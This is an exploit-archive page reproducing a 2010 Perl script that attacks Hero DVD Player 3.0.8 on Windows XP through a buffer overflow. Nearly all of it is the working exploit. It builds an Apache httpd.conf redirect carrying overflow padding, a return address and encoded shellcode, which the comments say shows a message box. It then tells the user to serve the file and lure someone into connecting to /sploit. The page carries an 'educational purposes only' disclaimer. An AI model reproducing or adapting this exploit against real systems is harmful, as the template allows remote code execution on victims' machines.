Home / os / win7

Hero DVD Remote Buffer Overflow Exploit

Posted on 07 July 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Hero DVD Remote Buffer Overflow Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=======================================
Hero DVD Remote Buffer Overflow Exploit
=======================================


# Exploit Title : Hero DVD Remote Buffer Overflow Exploit
# Date          : July 7, 2010
# Author        : chap0 [www.seek-truth.net]
# Software Link : http://download.cnet.com/Hero-DVD-Player/3000-7970_4-10127412.html
# Version       : 3.0.8
# OS            : Windows XP SP3
# Greetz to     : God the Creator, Sud0 (Thanks Bro for the Support)
# The Crew  : http://www.corelan.be:8800/index.php/security/corelan-team-members/
# Advisory  : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-056
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code. 
# If you do, Corelan cannot be held responsible for any damages this may cause.
# Code :
print &quot;|------------------------------------------------------------------|
&quot;;
print &quot;|                         __               __                      |
&quot;;
print &quot;|   _________  ________  / /___ _____     / /____  ____ _____ ___  |
&quot;;
print &quot;|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
&quot;;
print &quot;| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
&quot;;
print &quot;| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
&quot;;
print &quot;|                                                                  |
&quot;;
print &quot;|                                       http://www.corelan.be:8800 |
&quot;;
print &quot;|                                                                  |
&quot;;
print &quot;|-------------------------------------------------[ EIP Hunters ]--|

&quot;;
print &quot;[*] Hero DVD Player Remote Exploit by chap0.
&quot;;
print &quot;[*] Visit Corelan.be port 8800, Preparing Payload . . .
&quot;;
sleep(3);
 
my $file = &quot;httpd.conf&quot;;
 
$code = &quot;Redirect permanent /sploit http://&quot;;
$junk = &quot;A&quot; x 128;
$more = &quot;yH2X&quot; ; # alpha value for &quot;yH2X&quot; = 0x58324879 from msg723.acm
$nops = &quot;x42&quot; x 24; #Padding
#message box code
$shell = &quot;TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIN9JKMK9IRTWTL401N2OB2ZVQXISTLKBQ6PLKRVDLLKT65LLKPF5XLKSNWPLKWFWH0OUHRUL3PYEQ8QKOKQSPLKRLGT7TLKQUGLLK645URX5QKZLKQZ28LKPZQ0EQZKKSVW79LKGDLKEQJNVQKOP1IPKLNLK4O03DUZO1HOTM5QYWKYJQKOKOKO7K3LVD18D59NLKPZVDS1JKU6LKTLPKLK1J5L5QZKLK34LKUQKXMYQTWT5L3QHCNRTHGYN4K9KUMYIRE8LNPNTNZLPRKXMLKOKOKOMYPE5TOKSNYHKRBSMW5L14QBKXLKKOKOKOMYQUS83XBLBLGPKOSX6SP2FNE4SXRUT33U3BLHQL14UZLIJFPVKO65TDLIO20POKOXORPMOLMWEL7TPRKX1NKOKOKO3XSBSUD7V8E8BLSQRNW3U8QSRO2RCUVQ9KMXQLWT4KMYM3U82TU8687PSXWPQDRRD5RH0SRESUBK6Q9YLHPL145ZLIM1VQN2F2PSV1PRKOHPP1O060KO0UUXTJA&quot;;
 
open(FILE,&quot;&gt;$file&quot;);
print FILE $code.$junk.$more.$nops.$shell;
close(FILE);
 
print &quot;[*] Use Backtrack! place httpd.conf in /etc/apache2/ and start apache.
&quot;;
print &quot;[*] Have Someone Connect to your Server /sploit.
&quot;;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-07]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :